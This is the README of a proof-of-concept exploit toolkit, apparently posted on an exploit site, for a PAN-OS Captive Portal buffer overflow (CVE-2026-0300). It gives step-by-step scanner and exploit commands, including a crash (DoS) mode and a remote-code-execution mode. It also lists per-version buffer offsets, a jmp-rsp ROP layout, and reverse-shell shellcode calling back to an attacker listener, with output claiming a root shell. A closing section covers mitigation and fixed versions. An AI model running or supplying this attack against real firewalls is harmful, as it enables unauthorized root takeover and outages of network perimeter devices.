## https://sploitus.com/exploit?id=EE80C31F-5150-5C4C-9884-6BB46E110FD7
# CVE-2026-0300 — PAN-OS User-ID Authentication Portal Buffer Overflow Exploit
> **Critical (CVSS 9.3)** — Unauthenticated Remote Code Execution in Palo Alto Networks PAN-OS Captive Portal
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Affected Versions](#affected-versions)
- [Architecture Diagrams](#architecture-diagrams)
- [Project Structure](#project-structure)
- [Installation](#installation)
- [Scanner Usage — Step by Step](#scanner-usage--step-by-step)
- [Exploit Usage — Step by Step](#exploit-usage--step-by-step)
- [Payload Design](#payload-design)
- [Mitigation](#mitigation)
- [Disclaimer](#disclaimer)
---
## Overview
CVE-2026-0300 is a critical buffer overflow vulnerability in the **User-ID Authentication Portal** (also known as Captive Portal) service of Palo Alto Networks PAN-OS software. An unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to execute arbitrary code with **root privileges** on PA-Series and VM-Series firewalls.
This repository contains a proof-of-concept exploit toolkit including:
- **Payload generator** with version-specific offsets and x86_64 reverse shell shellcode
- **Scanner** to detect vulnerable Captive Portal targets
- **Exploit** with three modes: detection, crash (DoS), and full RCE
---
## Vulnerability Details
| Field | Value |
|-------|-------|
| **CVE ID** | CVE-2026-0300 |
| **Severity** | CRITICAL |
| **CVSS 4.0** | 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| **CWE** | CWE-787: Out-of-bounds Write |
| **CAPEC** | CAPEC-100: Overflow Buffers |
| **Impact** | Unauthenticated Remote Code Execution (root) |
| **Exploitation Status** | Limited exploitation observed in the wild |
### Description
A buffer overflow vulnerability in the User-ID Authentication Portal service of PAN-OS software allows an unauthenticated attacker to execute arbitrary code with root privileges on the firewall by sending specially crafted packets. The Captive Portal HTTP service uses fixed-size stack buffers for parsing HTTP headers, which can be overflowed via oversized header values (Cookie, User-Agent, URI, or POST body).
### Required Configuration for Exposure
Both conditions must be true for a target to be vulnerable:
1. **User-ID Authentication Portal enabled** — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
2. **Interface management profile with response pages** — attached to an L3 interface in a zone where untrusted/internet traffic can ingress
### Advisory Reference
- **Official Advisory**: https://security.paloaltonetworks.com/CVE-2026-0300
- **Best Practice Guidelines**: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC
---
## Affected Versions
| PAN-OS Branch | Vulnerable Versions | Fixed Version |
|---------------|---------------------|---------------|
| 10.2 | 10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18 | 10.2.7-h34+ |
| 11.1 | 11.1.0–11.1.14 | 11.1.15+ |
| 11.2 | 11.2.0–11.2.11 | 11.2.12+ |
| 12.1 | 12.1.0–12.1.6 | 12.1.7+ |
**Not impacted**: Prisma Access, Cloud NGFW, Panorama appliances.
---
## Architecture Diagrams
### System Architecture
```
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-0300 Exploit Toolkit │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │
│ │ Scanner │ │ + Version Check │ │ │ │
│ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │
│ │ │ │ Version │ │ │
│ │ Reports: │ │ Offsets │ │ │
│ │ • Portal detected? │ │ (10.2/11.1/ │ │ │
│ │ • PAN-OS version │ │ 11.2/12.1) │ │ │
│ │ • Vulnerable? │ └──────────────┘ │ │
│ ▼ │ ┌──────────────┐ │ │
│ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │
│ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │
│ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │
│ └────────────┘ └─────────────────┘ │ │ shell) │ │ │
│ │ │ └──────────────┘ │ │
│ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │
│ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │
│ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │
│ │ └──────────────────────┘ │ └──────────────┘ │ │
│ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │
│ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │
│ │ │ DoS validation │ │ │ Builder │ │ │
│ │ └──────────────────────┘ │ └──────────────┘ │ │
│ │ ┌──────────────────────┐ └────────────────────┘ │
│ └─▶│ MODE: rce │ │
│ │ Reverse shell │ ┌──────────────────────┐ │
│ └──────────────────────┘ │ ReverseShellListener │ │
│ │ │ (callback receiver) │ │
│ ▼ └──────────────────────┘ │
│ ┌──────────────────┐ │
│ │ Target Firewall │ │
│ │ PAN-OS Captive │ │
│ │ Portal Service │ │
│ └──────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
```
### Scanner Flow
```
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip port │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443,8843) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Captive Portal │──────────▶│ Not exposed │
│ fingerprint? │ └─────────────┘
│ (login.esp, │
│ User-ID, PA-, │
│ PAN-OS, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract PAN-OS │
│ version from │
│ Server header / │
│ response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Matched ranges │
│ • SSL cert info │
└──────────────────┘
```
### Exploit Flow (RCE Mode)
```
┌──────────────────────────────────────────────────────────────────┐
│ EXPLOIT EXECUTION FLOW │
│ │
│ 1. Generate Payload │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │
│ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 2. Embed in HTTP Header ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ GET / HTTP/1.1 │ │
│ │ Host: target:443 │ │
│ │ Cookie: │ │
│ │ Connection: close │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 3. Start Listener ▼ │
│ ┌──────────────────┐ │
│ │ Listener binds │ ← Must start BEFORE sending payload │
│ │ on callback │ │
│ │ IP:port │ │
│ └──────────────────┘ │
│ │ │
│ 4. Send via SSL/TLS ▼ │
│ ┌──────────────────┐ │
│ │ Raw socket │ → Target Captive Portal service │
│ │ sends request │ │
│ └──────────────────┘ │
│ │ │
│ 5. Buffer Overflow ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Portal parses Cookie header into fixed-size stack buffer│ │
│ │ Buffer overflows → overwrites saved FP + return address │ │
│ │ Return address → ROP gadget (jmp rsp) │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 6. Code Execution ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ jmp rsp → NOP sled → shellcode executes │ │
│ │ socket() → connect(attacker_ip, port) → dup2() → │ │
│ │ execve("/bin/sh") │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ 7. Reverse Shell ▼ │
│ ┌──────────────────┐ │
│ │ Listener accepts│ → Attacker has root shell on firewall │
│ │ callback │ │
│ └──────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
```
---
## Project Structure
```
POC-CVE-2026-0300-exploit/
├── payload_gen.py # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt # Python dependencies
└── README.md # This file
```
---
## Installation
```bash
# Clone the repository
git clone git@github.com:sam00/POC-CVE-2026-0300-exploit.git
cd POC-CVE-2026-0300-exploit
# Install dependencies (requests is optional — raw sockets are used by default)
pip3 install -r requirements.txt
```
**Requirements**: Python 3.8+, standard library only for core functionality. `requests` is optional.
---
## Scanner Usage — Step by Step
The scanner performs safe, non-intrusive checks to identify vulnerable PAN-OS Captive Portal targets.
### Step 1: Scan a Single Target
```bash
python3 scan.py --target 192.168.1.1
```
The scanner will:
- Probe common ports (443, 80, 8080, 8443, 8843)
- Send HTTP requests and check for Captive Portal fingerprints
- Extract PAN-OS version from Server headers and response body
- Check if the version falls within vulnerable ranges
- Print a color-coded report
### Step 2: Scan with Specific Port
```bash
python3 scan.py --target 192.168.1.1 --port 443
```
### Step 3: Scan Multiple Targets from File
Create a file `targets.txt` with one target per line:
```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
```
```bash
python3 scan.py --targets targets.txt
```
### Step 4: Save Results as JSON
```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json
```
### Scanner Output Example
```
====================================================================
CVE-2026-0300 VULNERABILITY SCANNER
PAN-OS User-ID Authentication Portal Buffer Overflow
====================================================================
Target: 192.168.1.1
Ports: 443, 80, 8080, 8443, 8843
Time: 2026-08-06T12:00:00+00:00
Portal: DETECTED
Status: VULNERABLE
─ Port 443 ─
HTTP Status: 200
PAN-OS Version: 11.2.7
Vulnerable: True
Fingerprints: login\.esp, userId, Authentication Portal, PAN-OS
SSL Subject: {'commonName': 'firewall.example.com'}
====================================================================
```
### What the Scanner Detects
| Indicator | Method |
|-----------|--------|
| Captive Portal exposed | HTTP fingerprint matching (login.esp, User-ID, PA-, PAN-OS patterns) |
| PAN-OS version | Server header parsing, response body regex extraction |
| Vulnerable version | Comparison against CVE-2026-0300 affected version ranges |
| SSL certificate | Certificate subject/issuer for target identification |
---
## Exploit Usage — Step by Step
The exploit supports three modes of increasing intensity.
### Mode 1: Detect (Safe, Non-Intrusive)
Sends a moderately oversized header and compares the response to a normal request. Does NOT crash the service.
```bash
python3 exploit.py --target 192.168.1.1 --mode detect
```
**What it does**:
- Sends a 4KB Cookie header (oversized but not weaponized)
- Sends a normal request for baseline comparison
- Reports if the target responds differently to oversized input
- Indicates likely vulnerability if responses differ
### Mode 2: Crash (DoS Validation)
Sends a buffer overflow payload with an invalid return address (0x41414141) to crash the Captive Portal service.
```bash
python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7
```
**What it does**:
- Generates a version-specific overflow payload
- Overwrites the return address with 0x4141414141414141
- Sends via the chosen overflow vector (default: Cookie header)
- Verifies service crash with a follow-up request
- Reports if the service is down after the payload
**Options**:
- `--vector cookie|ua|uri|post` — Choose overflow vector (default: cookie)
- `--http` — Use HTTP instead of HTTPS
### Mode 3: Full RCE (Reverse Shell)
Sends a buffer overflow with a reverse shell payload. Starts a listener to receive the callback.
```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
--version 11.2.7 \
--callback-ip 10.0.0.1 \
--callback-port 4444
```
**What it does**:
- Generates payload: padding + ROP gadget (jmp rsp) + NOP sled + reverse shell shellcode
- Starts a TCP listener on the callback IP:port
- Sends the weaponized HTTP request to the target
- Waits for the reverse shell callback
- Reports success if a connection is received
**Required arguments**:
- `--version` — Target PAN-OS version (determines buffer offset and ROP gadget)
- `--callback-ip` — Your IP address (must be reachable from target)
- `--callback-port` — Port for reverse shell callback (default: 4444)
**Optional arguments**:
- `--vector cookie|ua|uri|post` — Overflow vector (default: cookie)
- `--nop-sled 128` — NOP sled size in bytes (default: 128)
- `--timeout 30` — Connection and listener timeout in seconds
- `--http` — Use HTTP instead of HTTPS
- `--json report.json` — Save exploit report as JSON
### Exploit Output Example (RCE)
```
[*] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie)
[*] Callback: 10.0.0.1:4444
[*] Payload generated:
Vector: cookie
Offset: 3072 bytes to RIP
Padding: 3072 bytes
ROP chain: 8 bytes
NOP sled: 128 bytes
Shellcode: 184 bytes
Total: 3392 bytes
SHA256: a1b2c3d4...
[*] HTTP request built: 3475 bytes
[*] Starting listener on 10.0.0.1:4444...
[*] Sending exploit payload...
[*] Payload sent. Waiting for callback (timeout: 30s)...
[+] REVERSE SHELL RECEIVED from 192.168.1.1!
====================================================================
CVE-2026-0300 EXPLOIT REPORT
PAN-OS User-ID Authentication Portal Buffer Overflow
====================================================================
Mode: RCE
Target: 192.168.1.1:443
Version: 11.2.7
Vector: cookie
Callback: 10.0.0.1:4444
Shell: RECEIVED
From: 192.168.1.1:54321
====================================================================
```
### Supported Versions and Vectors
**Versions** (with version-specific buffer offsets):
| Version | Buffer Offset | ROP Gadget | Default Vector |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |
**Vectors**:
| Vector | Header/Location | Description |
|--------|----------------|-------------|
| `cookie` | Cookie header | Overflow via oversized Cookie value |
| `ua` | User-Agent header | Overflow via oversized User-Agent value |
| `uri` | Request URI path | Overflow via oversized URI path |
| `post` | POST body | Overflow via oversized POST form data |
---
## Payload Design
### Buffer Overflow Layout
```
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Header Value (Cookie / User-Agent / URI / POST body) │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│ Padding │ Saved │ ROP │ NOP │ Shellcode │
│ (to │ Frame │ Gadget │ Sled │ (reverse shell) │
│ offset) │ Pointer │ (jmp │ (\x90 │ │
│ │ (8 B) │ rsp) │ * N) │ │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
↑ ↑
Buffer overflow Return address overwritten
overwrites here with jmp rsp gadget
```
### Shellcode
The exploit uses position-independent x86_64 Linux shellcode that:
1. Creates a TCP socket (`socket(AF_INET, SOCK_STREAM, 0)`)
2. Connects back to the attacker's IP:port (`connect()`)
3. Redirects stdin/stdout/stderr to the socket (`dup2()`)
4. Spawns a shell (`execve("/bin/sh", NULL, NULL)`)
Total shellcode size: ~184 bytes, contains `syscall` instructions (`\x0f\x05`).
---
## Mitigation
### Immediate Actions
1. **Restrict access** to the User-ID Authentication Portal — limit to trusted internal IP addresses only
2. **Disable response pages** on untrusted interfaces (Network > Interface > Advanced > Management Interface Profile)
3. **Disable the Authentication Portal** if not needed (Device > User Identification > Authentication Portal Settings)
4. **Upgrade PAN-OS** to a fixed version
### Fixed Versions
- PAN-OS 10.2: 10.2.7-h34 and later
- PAN-OS 11.1: 11.1.15 and later
- PAN-OS 11.2: 11.2.12 and later
- PAN-OS 12.1: 12.1.7 and later
---
## Disclaimer
This tool is provided for **authorized security testing and educational purposes only**. Only use against systems you own or have explicit written permission to test. Unauthorized use against production systems is illegal and may violate computer fraud and abuse laws.
The authors assume no liability for misuse of this tool. Always follow responsible disclosure practices and adhere to applicable laws and regulations.